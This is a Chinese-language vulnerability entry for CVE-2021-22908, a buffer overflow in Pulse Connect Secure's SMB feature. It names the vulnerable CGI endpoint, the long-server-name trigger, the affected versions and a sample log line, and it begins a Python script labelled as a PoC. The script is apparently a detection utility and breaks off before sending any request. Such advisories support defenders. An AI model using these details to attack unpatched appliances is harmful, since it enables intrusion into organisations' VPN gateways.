CVE-2021-22908_Pulse_Connect_Secure_任意代碼執行漏洞_zh-cn

# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/zh-cn

==漏洞描述==

由于PCS支持连接到Windows文件共享(SMB)的功能由基于Samba 4.5.10的库和辅助应用程序的CGI脚本提供。当为某些SMB操作指定一个长的服务器名称时,smbclt应用程序可能会由于缓冲区溢出而崩溃,具体取决于指定的服务器名称长度。

已经确认PCS 9.1R11.4系统存在此漏洞,目标CGI端点为/dana/fb/smb/wnf.cgi,其它CGI端点也可能会触发此漏洞。

如果攻击者在成功利用此漏洞后没有进行清理,则指定一个长的服务器名称可能会导致如下PCS事件日志条目:

Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.

如果攻击者在成功利用此漏洞后没有进行清理,则指定一个长的服务器名称可能会导致如下PCS事件日志条目:

==影响范围==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==

#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form  tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for